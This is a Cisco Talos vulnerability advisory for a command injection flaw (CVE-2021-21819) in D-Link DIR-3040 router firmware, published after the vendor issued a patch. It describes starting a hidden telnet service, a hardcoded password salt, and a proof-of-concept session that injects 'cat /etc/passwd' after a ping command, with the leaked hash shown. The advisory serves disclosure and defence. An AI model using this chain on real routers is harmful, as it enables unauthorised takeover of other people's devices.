Talos Vulnerability Report

TALOS-2021-1284

D-LINK DIR-3040 Libcli command injection vulnerability

JULY 15, 2021

CVE NUMBER

CVE-2021-21819

Summary

A code execution vulnerability exists in the Libcli Test Environment functionality of D-LINK DIR-3040 1.13B03. A specially crafted network request can lead to arbitrary command execution. An attacker can send a sequence of requests to trigger this vulnerability.

Tested Versions

D-LINK DIR-3040 1.13B03

Product URLs

https://us.dlink.com/en/products/dir-3040-smart-ac3000-high-power-wi-fi-tri-band-gigabit-router

CVSSv3 Score

9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

Details

The DIR-3040 is an AC3000-based wireless internet router.

As discussed in TALOS-2021-1285, a hidden telnet service can be started without authentication by visiting

```
https://<router_ip>/start_telnet
```

This service presents the user with a login prompt for their “libcli test environment”:

```
$ telnet 192.168.0.1
          Trying 192.168.0.1...
          Connected to 192.168.0.1.
          Escape character is '^]'.
          dlinkrouter login: admin
          Password:
```

The admin user is the same user that is used within the Web UI, including the password that was created using the setup wizard. This username/password combination alone will still fail unless the salt “@twsz2018” is appended:

```
<password> + "@twsz2018" = <password>@twsz2018
```

It is here that we are presented with the following options. None of which should allow us traditional shell-access to the device.

```
libcli test environment

router>
  help                Show available commands
  quit                Disconnect
  history             Show a list of previously run commands
  protest             protest cmd
  iwpriv              iwpriv cmd
  ifconfig            ifconfig cmd
  iwconfig            iwconfig cmd
  reboot              reboot cmd
  brctl               brctl cmd
  ated                ated cmd
  ping                ping cmd
```

However some commands, such as the `ping` and `ated` commands are vulnerable to command injection because the arguments are not sanitized for command separators before being sent to `systemCmd` which subsequently executes the desired program with requested arguments. This can be found in `/usr/bin/cli`

```
004016a8   move    $a2, $s5  {unsanitized_ping_command_format_string}, "%s "}
004016ac   addiu   $s1, $s1, 1
004016b0   lw      $gp, 0x10($sp) {var_30}  {0x41aa70}
004016b4   addu    $s0, $s0, $v0
004016b8   bne     $s1, $s4, 0x401694
004016bc   addiu   $s2, $s2, 4
004016c0   lw      $t9, -0x7fcc($gp)  {systemCmd}  {data_412aa4}
004016c4   move    $a0, $s7
004016c8   bal     systemCmd
```

Exploit Proof of Concept

The following is an example using their `ping` functionality

```
* $ telnet 192.168.0.1
      Trying 192.168.0.1...
      Connected to 192.168.0.1.
      Escape character is '^]'.
      dlinkrouter login: admin
      Password:
      libcli test environment

      router> ping -c 1 8.8.8.8; cat /etc/passwd
      PING 8.8.8.8 (8.8.8.8): 56 data bytes
      64 bytes from 8.8.8.8: seq=0 ttl=119 time=22.420 ms
      admin:$1$ULRr4v9Y$Q6RhdYph2fnaDJSdSHT7o1:0:0:Adminstrator:/:/bin/sh
      nobody:x:1:500:Linux User,,,:/home/nobody:/bin/sh
      root:x:2:600:Linux User,,,:/home/root:/bin/sh
```

Timeline

2021-04-28 - Vendor disclosure

2021-05-12 - Vendor acknowledged

2021-06-08 - Vendor provided patch for Talos to test

2021-06-09 - Talos provided feedback on patch

2021-06-23 - Talos follow up with vendor

2021-07-13 - Vendor patched

2021-07-15 - Public Release

CREDIT

Discovered by Dave McDaniel of Cisco Talos.
